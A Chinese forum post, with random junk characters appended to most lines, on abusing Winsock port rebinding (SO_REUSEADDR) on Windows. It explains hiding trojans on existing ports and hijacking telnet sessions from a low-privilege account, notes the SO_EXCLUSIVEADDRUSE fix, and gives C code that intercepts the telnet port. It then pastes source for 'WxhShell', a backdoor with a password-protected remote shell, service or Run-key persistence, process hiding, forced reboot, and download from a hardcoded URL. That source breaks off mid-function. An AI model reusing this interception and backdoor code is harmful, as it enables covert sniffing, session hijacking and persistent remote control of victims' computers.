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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [lNqT1%]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Pt6hGSo.  
axK6sIxx  
  saddr.sin_family = AF_INET; + mfe*'AU  
Uvjdx(fY[a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \~@[QGKN  
*xE"8pN/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); c=A(o  
9Fy\t{ks  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]#Vo}CVP  
+Lm3vj_ N  
  这意味着什么?意味着可以进行如下的攻击: j+DE|Q&]I  
3h9Sz8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ORGv)>C|  
bQ-Gp;]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E`Jp(gK9F  
&W=V%t>Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <w0NPrS]  
qQfqlD<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #XTY7,@ P  
[3O^0-:6E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $ Wit17j  
1t/dxB;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f._l105.  
uiktdZ/f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vk  @%R  
1)TK01R8  
  #include x9&-(kBU  
  #include ]\ CU9J|H8  
  #include T4OguP=  
  #include    tg.|$n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %55@3)V8Rf  
  int main() <eB<^ &nd  
  { _W)`cr  
  WORD wVersionRequested; 4$yV%[j  
  DWORD ret; TZ?Os4+  
  WSADATA wsaData; g%`i=s&N%  
  BOOL val; eeuZUf+~]  
  SOCKADDR_IN saddr; :GU,EDps  
  SOCKADDR_IN scaddr; _& 8O~8tW  
  int err; $.H:8^W  
  SOCKET s; 9 YP*f  
  SOCKET sc; -O'{:s~  
  int caddsize; )!tCC-Cr  
  HANDLE mt; B\Xh 3l]+j  
  DWORD tid;   drW~)6Lr@  
  wVersionRequested = MAKEWORD( 2, 2 ); KK?Zm_  
  err = WSAStartup( wVersionRequested, &wsaData ); 9mam ~)_ |  
  if ( err != 0 ) { r& vFikIz  
  printf("error!WSAStartup failed!\n"); 7OB%A&  
  return -1;  t?gJNOV  
  } a%Uw;6|{  
  saddr.sin_family = AF_INET; 41u*w2j  
   1hl]W+9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 B\\6#  
Lp_$?MCD.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `/z_rqJ0CL  
  saddr.sin_port = htons(23); k@#5$Ejc2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,zQo {.  
  { U1OFDXHG  
  printf("error!socket failed!\n"); c\At0.QCA  
  return -1; y8G&Wg aCi  
  } z"tjDP  
  val = TRUE; j5PL{6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >D 97c|?c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <"W?<VjO  
  { [+;qWfs B  
  printf("error!setsockopt failed!\n"); {@?G 9UypA  
  return -1; #Mh{<gk%ax  
  } X*i/A<Y`=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; / /'Tck  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :z]}ZZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?AEd(_a!q  
-;^;2#](g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nSS>\$  
  { P` #QGZ>  
  ret=GetLastError(); [r(Qs|  
  printf("error!bind failed!\n"); ;x-(kIiE  
  return -1; wu A^'T  
  } iZaeoy  
  listen(s,2); >&OUGu|  
  while(1) Z,K7Ot0  
  { qD#VbvRc9+  
  caddsize = sizeof(scaddr); 0n.S,3|  
  //接受连接请求 !YiuwFt  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); f;gZ|a  
  if(sc!=INVALID_SOCKET) 'Gjq/L/x  
  { &rp!%]+xAM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); RPVT*`o  
  if(mt==NULL) P"1 S$oc  
  { [8"ojhdV  
  printf("Thread Creat Failed!\n"); #Z\ O}<  
  break; Cp#)wxi6[y  
  } A3HF,EG  
  } {XgnZ`*  
  CloseHandle(mt); 5o#Yt  
  } ,_D" ?o  
  closesocket(s); h>alGLN>  
  WSACleanup(); 1G;8MPU  
  return 0; JWROYED  
  }   V >Hf9sZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) q@n^ZzTx  
  { Gih[i\%Q  
  SOCKET ss = (SOCKET)lpParam; _tAQ=eBO  
  SOCKET sc; &-%X:~|:X  
  unsigned char buf[4096]; P}V=*g  
  SOCKADDR_IN saddr; k;I  &.H  
  long num; EATu KLP\  
  DWORD val; 3$VxRz)  
  DWORD ret; 3LDsxE=N:q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Gs dnf 7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Rrg8{DZhv  
  saddr.sin_family = AF_INET; *f5l=lDOB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  iEIg:  
  saddr.sin_port = htons(23); ?7[alV~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '9s5OTkN ;  
  { w5KPB5/zu  
  printf("error!socket failed!\n"); FB:<zmwR  
  return -1; :B|Dr v  
  } Lq (ZcEKo  
  val = 100; LZ U$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "w_N' -}#  
  { Sm-wH^~KA  
  ret = GetLastError(); FJNF%a)x2I  
  return -1; ?":'O#E  
  } %zeATM[`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C`V)VJM  
  { T*~H m  
  ret = GetLastError(); % UZVb V  
  return -1; ^j)BKD-  
  } K93p"nHN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]"~51HQZ  
  { ZH,4oF  
  printf("error!socket connect failed!\n"); w$|l{VI  
  closesocket(sc); bU54-3Ox*  
  closesocket(ss); hWo=;#B*  
  return -1; ]3Dl)[R  
  } ,xI%A, (,;  
  while(1) ;heHefbvvd  
  { x;\wY'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 28andfl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gNpJ24QK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;WU<CKYG*  
  num = recv(ss,buf,4096,0); >dzsQ^Nj  
  if(num>0) E7zm{BX]  
  send(sc,buf,num,0); Bi3+)k>u7  
  else if(num==0) PX(p X>  
  break; ?7MqeR4/E  
  num = recv(sc,buf,4096,0); N_Akmh0D  
  if(num>0) BxK^?b[E8  
  send(ss,buf,num,0); :-`7Q\c}  
  else if(num==0) r\`+R"  
  break; Jb["4X;h  
  } SP]IUdE\  
  closesocket(ss); }!>=|1 fY  
  closesocket(sc); &PWB,BXv  
  return 0 ; <plC_{Y:wu  
  } D]s]"QQ8  
M$Zo.Bl$(  
U`|0 jJ  
========================================================== v%{.A)  
%wptZ"2M  
下边附上一个代码,,WXhSHELL k0-G$|QgIp  
cLY c6  
========================================================== qmy%J  
1xE]6he4{T  
#include "stdafx.h" Mg,:UC:  
+;}#B~:  
#include <stdio.h> L I>(RMv  
#include <string.h> )~6zYJ2  
#include <windows.h> k>jbcSY(z<  
#include <winsock2.h> _ee dBpV  
#include <winsvc.h> 7Q w|!  
#include <urlmon.h> 6x)$Dl  
!R-z%  
#pragma comment (lib, "Ws2_32.lib") s@hRqGd:  
#pragma comment (lib, "urlmon.lib") D}C,![   
'_k+WH&  
#define MAX_USER   100 // 最大客户端连接数 :!a 2]-D}  
#define BUF_SOCK   200 // sock buffer '})0!g<Y  
#define KEY_BUFF   255 // 输入 buffer P|tNL}2`;  
xM[Vc  
#define REBOOT     0   // 重启 ENF"c$R  
#define SHUTDOWN   1   // 关机 G` fC/Le  
/walu+]h  
#define DEF_PORT   5000 // 监听端口 *+'2?*  
(+<1*5BEkT  
#define REG_LEN     16   // 注册表键长度 u]+~VT1C,3  
#define SVC_LEN     80   // NT服务名长度 .\0isO  
W|:lVAP.|}  
// 从dll定义API %ek'~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Eodn/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sVk$x:k1M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 54-#QIx|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  Uo12gIX  
#GDe0 8rOw  
// wxhshell配置信息 cKb)VG^  
struct WSCFG { v:Tzv^  
  int ws_port;         // 监听端口 U7uKRv9  
  char ws_passstr[REG_LEN]; // 口令 vx_o(wof  
  int ws_autoins;       // 安装标记, 1=yes 0=no +YLejjQ  
  char ws_regname[REG_LEN]; // 注册表键名 iy.2A!f^.  
  char ws_svcname[REG_LEN]; // 服务名 ,lA.C%4au~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P}ok*{"J<>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !zj0/Q G\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /xGmg`g<#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~c)~015`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^<e@uNGg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Uw,2}yR  
~8"8w(CG*I  
}; ay "'#[  
r<F hY  
// default Wxhshell configuration ]?x: Qm'yo  
struct WSCFG wscfg={DEF_PORT, \0lnxLA  
    "xuhuanlingzhe", *BuUHjTv  
    1, @/ZF` :   
    "Wxhshell", g;$Xq)Dd  
    "Wxhshell", ;S0Kh"A  
            "WxhShell Service", ae:zWk'!  
    "Wrsky Windows CmdShell Service", }ENR{vz$A  
    "Please Input Your Password: ", 8Og_W8  
  1, %AOja+  
  "http://www.wrsky.com/wxhshell.exe", I$E.s*B9  
  "Wxhshell.exe" ~%?`P/.o  
    }; C2Xd?d  
jM-)BP6f4  
// 消息定义模块 &E xYXI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x+f2GA$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5JEbe   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DvvT?K  
char *msg_ws_ext="\n\rExit."; `n$5+a+  
char *msg_ws_end="\n\rQuit."; :l|%17N  
char *msg_ws_boot="\n\rReboot..."; '47P|t  
char *msg_ws_poff="\n\rShutdown..."; 2I*;A5$N1  
char *msg_ws_down="\n\rSave to "; fDG0BNLY  
lds- T  
char *msg_ws_err="\n\rErr!"; xI>A6  
char *msg_ws_ok="\n\rOK!"; &Tl 0Pf  
^rvx!?zO  
char ExeFile[MAX_PATH]; O6IB. >T  
int nUser = 0; E0 `Lg c  
HANDLE handles[MAX_USER]; WTImRXK4  
int OsIsNt; *@d&5  
rx (2yf  
SERVICE_STATUS       serviceStatus; N3u((y/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >#,G}xf  
6#IU*  
// 函数声明 /axIIfx-  
int Install(void); ui(^k $  
int Uninstall(void); 0b4R  
int DownloadFile(char *sURL, SOCKET wsh); CR6R?R3b  
int Boot(int flag); /dv<qp  
void HideProc(void); el:9wq  
int GetOsVer(void); 5@^ dgq  
int Wxhshell(SOCKET wsl); bdGIF'p%  
void TalkWithClient(void *cs); [D*UT#FM  
int CmdShell(SOCKET sock); @as"JAN  
int StartFromService(void); k)TSR5A  
int StartWxhshell(LPSTR lpCmdLine); Q#nOJ(KV  
,V*%V;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R+&jD;U{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !Hys3AP  
N^Bo .U0\  
// 数据结构和表定义 n_3O-X(  
SERVICE_TABLE_ENTRY DispatchTable[] = 2tal  
{ ^pJ!isuqu  
{wscfg.ws_svcname, NTServiceMain}, `7/Y@}n  
{NULL, NULL} hWH:wB  
}; :1Q!$  m  
a{{g<< H  
// 自我安装 keB&Bjd&  
int Install(void) UQB "v3Z  
{ a33TPoj  
  char svExeFile[MAX_PATH]; O(+phRwJ  
  HKEY key; }:Z#}8  
  strcpy(svExeFile,ExeFile); hs}8xl  
I4&::y^ C  
// 如果是win9x系统,修改注册表设为自启动 <!pY$  
if(!OsIsNt) { B/` !K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e^ v.)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^5=B`aich  
  RegCloseKey(key); xhRngHU\z<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { To?W?s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bT&: fHc  
  RegCloseKey(key); AE} )o)B  
  return 0; RIIitgV_  
    } n_'s=]~  
  } ;pnD0bH  
} ij?  
else { IEU^#=n  
PG,_^QGCX  
// 如果是NT以上系统,安装为系统服务 A]XZnQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W^G>cC8.L  
if (schSCManager!=0) s+Q~~]HJM  
{ >Jp:O 7  
  SC_HANDLE schService = CreateService r3>i+i42  
  ( 8jyG" %WO  
  schSCManager, Sv  &[f}S  
  wscfg.ws_svcname, h(5P(`M  
  wscfg.ws_svcdisp, 1bH;!J  
  SERVICE_ALL_ACCESS, D:Zy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vBog0KD);s  
  SERVICE_AUTO_START, s M+WkN}{  
  SERVICE_ERROR_NORMAL, e6!LSx}y  
  svExeFile, tzs</2 G,  
  NULL, yV"ZRrjO'Z  
  NULL, G_SG  
  NULL, s&NX@  
  NULL, {uHU]6d3qy  
  NULL =KR NvW  
  ); f aLtdQi  
  if (schService!=0) b?Ki;[+O  
  { {Lm~r+ U  
  CloseServiceHandle(schService); &\Amn?Iq  
  CloseServiceHandle(schSCManager); 8HP6+c%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6,9o>zT%H  
  strcat(svExeFile,wscfg.ws_svcname); ~j<+k4I~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3"P }n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5sb\r,kW  
  RegCloseKey(key); eQ&ZX3*}  
  return 0; . Z%{'CC  
    } 3K_A<j:  
  } PTEHP   
  CloseServiceHandle(schSCManager); f-%NaTI  
} [w -l?  
} KjQR$-  
v.]Q$q^  
return 1; l \sU  
} 3JVK  
4 M(-xl?  
// 自我卸载 $ mI0Bk  
int Uninstall(void) CXC`sPY  
{ &cu lbcz  
  HKEY key; }6@pJ G  
nG;8:f`  
if(!OsIsNt) { -*XCxU'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FD8N"p  
  RegDeleteValue(key,wscfg.ws_regname); 'UYR5Y>  
  RegCloseKey(key); (t4&,W_spA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  ?!`=X>5  
  RegDeleteValue(key,wscfg.ws_regname); IqD_GL)Ms  
  RegCloseKey(key); QI3Nc8t_2  
  return 0; di>cMS 4 c  
  } y8rm  
} 1Y]TA3:  
} Zib)P&  
else { zNIsf "  
`4~H/'%QB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >b]S3[Q(  
if (schSCManager!=0) n2fbp\I  
{ 9t#S= DP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mD/MJt5  
  if (schService!=0) HdPoO;  
  { %,k] [V  
  if(DeleteService(schService)!=0) { P [k$vD  
  CloseServiceHandle(schService); }sOwp}FV8X  
  CloseServiceHandle(schSCManager); a@0BBihz  
  return 0; cJL'$`gWf  
  } @!8ZPiW<  
  CloseServiceHandle(schService); /*c\qXA5  
  } 1M}&ZH  
  CloseServiceHandle(schSCManager); :G<E^<M\)^  
} !1G."fo  
} S!sqbLrBn  
W<E47  
return 1; ]| +<P-  
} 91xB9k1zO  
qvv2O1c"A  
// 从指定url下载文件 @`,1:  
int DownloadFile(char *sURL, SOCKET wsh) C|?o*fQ  
{ QQV~?iW{~  
  HRESULT hr; ]Qe{e3p;  
char seps[]= "/"; w-0mzk"  
char *token; Q;D0<Bv  
char *file; l}lIi8  
char myURL[MAX_PATH]; &zuG81F6  
char myFILE[MAX_PATH]; '_$uW&{NI  
'gt-s547  
strcpy(myURL,sURL); Vo"RO$%ow*  
  token=strtok(myURL,seps); P(K>=O  
  while(token!=NULL) Q pmsOp|  
  { Bk+{RN(w  
    file=token; d`/tE?Gw  
  token=strtok(NULL,seps); %:2+ o'  
  } %zO h  
EKz Ad  
GetCurrentDirectory(MAX_PATH,myFILE); i}~SDY  
strcat(myFILE, "\\"); DK oN}c  
strcat(myFILE, file); XyOl:>%L!P  
  send(wsh,myFILE,strlen(myFILE),0); hnznp1[#@  
send(wsh,"...",3,0); \{EpduwZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qBT.x,$  
  if(hr==S_OK) b%Eei2Gm%  
return 0; <2nZ&M4/s{  
else DSj(]U~r  
return 1; IO/4.m-aN#  
7YAIA%8  
} $\? yAE  
i:l<C  
// 系统电源模块 R9! Uo  
int Boot(int flag) NVl [kw  
{ FP Jd|  
  HANDLE hToken; G\a8B#hg  
  TOKEN_PRIVILEGES tkp; ,<Q~b%(3  
W'on$mB5<  
  if(OsIsNt) { L-9~uM3@\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ys#i@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E.iSWAJ(w  
    tkp.PrivilegeCount = 1; & V)6!,rb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -$,%f?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3bNIZ#`|MB  
if(flag==REBOOT) { NxLXm,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5~yNqC  
  return 0; x[Wwq=~  
} 7jJbo]&  
else { \))=gu)I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vhb)2n  
  return 0; Y+3!f#exm  
} $:of=WTY(  
  } 8#D:H/`'  
  else { `4 y]Z)  
if(flag==REBOOT) { 8#&q$kE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >dM8aJzC  
  return 0; zY|klX})  
} NOS>8sy  
else { _aPh(qprc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]0r|_)s  
  return 0; cGwf!hA  
} p)~lL  
} Tb1U^E:  
P6Mhbmt9*  
return 1; BQ jK8c<  
} ?J,AB #+  
j.:h5Y^N  
// win9x进程隐藏模块 x3zj ?-  
void HideProc(void) D\H/   
{ ayBRWT0  
T,_(?YJW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /(8a~f&%r  
  if ( hKernel != NULL ) Krs2Gre}  
  { Y+qQIMZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ="d*E/##  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5%}wV,Y  
    FreeLibrary(hKernel); j:bgR8 %e  
  }  a1j.fA  
_Zc%z@}  
return; vEG'HOP  
} fKtV '/X;Q  
c={Ft*N  
// 获取操作系统版本 HWm#t./  
int GetOsVer(void)  2Cg$,#H  
{ 4m-I5!=O  
  OSVERSIONINFO winfo; 7}_!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RB?V7uX  
  GetVersionEx(&winfo); T%R:NQf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yE} dj)wd  
  return 1; 5yVkb*8HS  
  else wLV~F[:  
  return 0; ~l~Tk6EM  
} B[9 (FRX  
PNeh#PI 6)  
// 客户端句柄模块 0W^dhYO  
int Wxhshell(SOCKET wsl) {k(eNr,  
{ A*tKF&U5  
  SOCKET wsh; 2ij# H ;  
  struct sockaddr_in client; w-$[>R[hw  
  DWORD myID; 1=2^90  
~}DQT>7$  
  while(nUser<MAX_USER) >`jU`bR@  
{ T5O _LCIws  
  int nSize=sizeof(client); NcM>{{8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bY~@}gC**@  
  if(wsh==INVALID_SOCKET) return 1; rx:z#"?I  
bqx0d=Z~[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l?*r5[O>n  
if(handles[nUser]==0) ZlKw_Sq:  
  closesocket(wsh); W9zE{)Sc~  
else iK_c.b  
  nUser++; 5y4u5Tm-%  
  } y/c%+ Ca/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 23DJV);g8  
#2xSyOrmf  
  return 0; Rb}KZ+o "Z  
} ~]L}p  
j*;N\;iL!*  
// 关闭 socket e1q"AOV6  
void CloseIt(SOCKET wsh) A 699FQ  
{ B8I4[@m>w\  
closesocket(wsh); SNT5Amz!  
nUser--; zX7q:Pt  
ExitThread(0); )$x_!=@1  
} $(q>mg:H  
y0ckm6^  
// 客户端请求句柄 P|jF6?C  
void TalkWithClient(void *cs) vs&8wbS)  
{ _U)%kY8  
i z]rFNR  
  SOCKET wsh=(SOCKET)cs; rSV gWr8  
  char pwd[SVC_LEN]; !Ngw\@f  
  char cmd[KEY_BUFF]; KbxR Lx]w  
char chr[1]; xU9@$am  
int i,j; H]#Rg`~n  
l)+:4N?iVv  
  while (nUser < MAX_USER) { .>6 Wv0  
Z$KV&.=+  
if(wscfg.ws_passstr) { @\Js8[wS9@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +K6szGP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +1;'B4  
  //ZeroMemory(pwd,KEY_BUFF); \.s`n2.w  
      i=0; ,R wfp=*E  
  while(i<SVC_LEN) { gmSQcN)  
0NO1M)HQv  
  // 设置超时 RM*f|j  
  fd_set FdRead; 0&fl#]oCE  
  struct timeval TimeOut; /owO@~G  
  FD_ZERO(&FdRead); PQj<[rY  
  FD_SET(wsh,&FdRead); ] y1fM0  
  TimeOut.tv_sec=8; -g`IH-B  
  TimeOut.tv_usec=0; J^3H7 ]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CHaE;olo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3 EYiQ`  
yi!`V.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); keqcV23k  
  pwd=chr[0]; >[*4Tjg  
  if(chr[0]==0xd || chr[0]==0xa) { %(LvE}[RJ  
  pwd=0; Ygkv7>?,  
  break; o7xgRSz\  
  } b7h+?!H]R  
  i++; P -Fg^tl  
    } &:#m&,tQ  
qSiWnN8D t  
  // 如果是非法用户,关闭 socket H}b\`N[nr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -fIc4u[  
} w}<^l  
NW.XA! =E)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CB*/ =Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #o[\Dwu  
Dl;d33  
while(1) { KAb(NZK  
,{<p  
  ZeroMemory(cmd,KEY_BUFF); d\]O'U)s  
Bh`IXu  
      // 自动支持客户端 telnet标准   R,Ml&4pZ}  
  j=0; if~rp-\P  
  while(j<KEY_BUFF) { XT||M)#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j Selop>N  
  cmd[j]=chr[0]; 8sw,k   
  if(chr[0]==0xa || chr[0]==0xd) { HcJE0-"  
  cmd[j]=0; l C\E  
  break; wq72% e  
  } e.X@] PQJQ  
  j++; n,KA&)/s  
    } aR:<<IF\  
LV.&>@*  
  // 下载文件 [b`6v`x  
  if(strstr(cmd,"http://")) { k:P$LzIB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %2yAvGa1  
  if(DownloadFile(cmd,wsh)) ]*ov&{'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); elbG\qXBp  
  else d=e{]MG(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .C5@QKU  
  } T"W9YpZ  
  else { %ejeyc  
3Xdn62[&  
    switch(cmd[0]) { R [9w  
  exphe+b  
  // 帮助 Kpg:yrc['  
  case '?': { }aZr ou3E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sb'p-Mj  
    break; _pSIJ3O  
  } FDq{M?6i  
  // 安装 (2%>jg0M  
  case 'i': { 5\G)Q<A]*L  
    if(Install()) QGPR.<D)B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UB&2f>  
    else :QKb#4/8;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j) 6G7T|  
    break; WEVl9]b'e+  
    } ^K*-G@B  
  // 卸载 eU~?p|Np  
  case 'r': { ve%l({  
    if(Uninstall()) X>/K/M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 46dc.Yi  
    else dzxI QlP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r{V.jZ%p'Z  
    break; h[H%:743  
    } Ej|A ; &E  
  // 显示 wxhshell 所在路径 6z]`7`G   
  case 'p': { %O/d4  
    char svExeFile[MAX_PATH]; 5&qY3@I7l  
    strcpy(svExeFile,"\n\r"); #PH#2/[  
      strcat(svExeFile,ExeFile); ]BfR.,,  
        send(wsh,svExeFile,strlen(svExeFile),0); T?e9eYwS  
    break; k5s?lWH  
    } Nu+wL>t  
  // 重启 qT 0_L  
  case 'b': { YZ*{^'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qvTJ>FILT  
    if(Boot(REBOOT)) &(0N.=R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L?.7\a@  
    else { _3U|2(E  
    closesocket(wsh); l4Y1(  
    ExitThread(0); "7?t)FOo  
    } !VNbj\Bp  
    break; O*4gV}:G  
    } pe#*I/)b  
  // 关机 Yhk6Uog{4  
  case 'd': { 2+&R" #I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r./z,4A`  
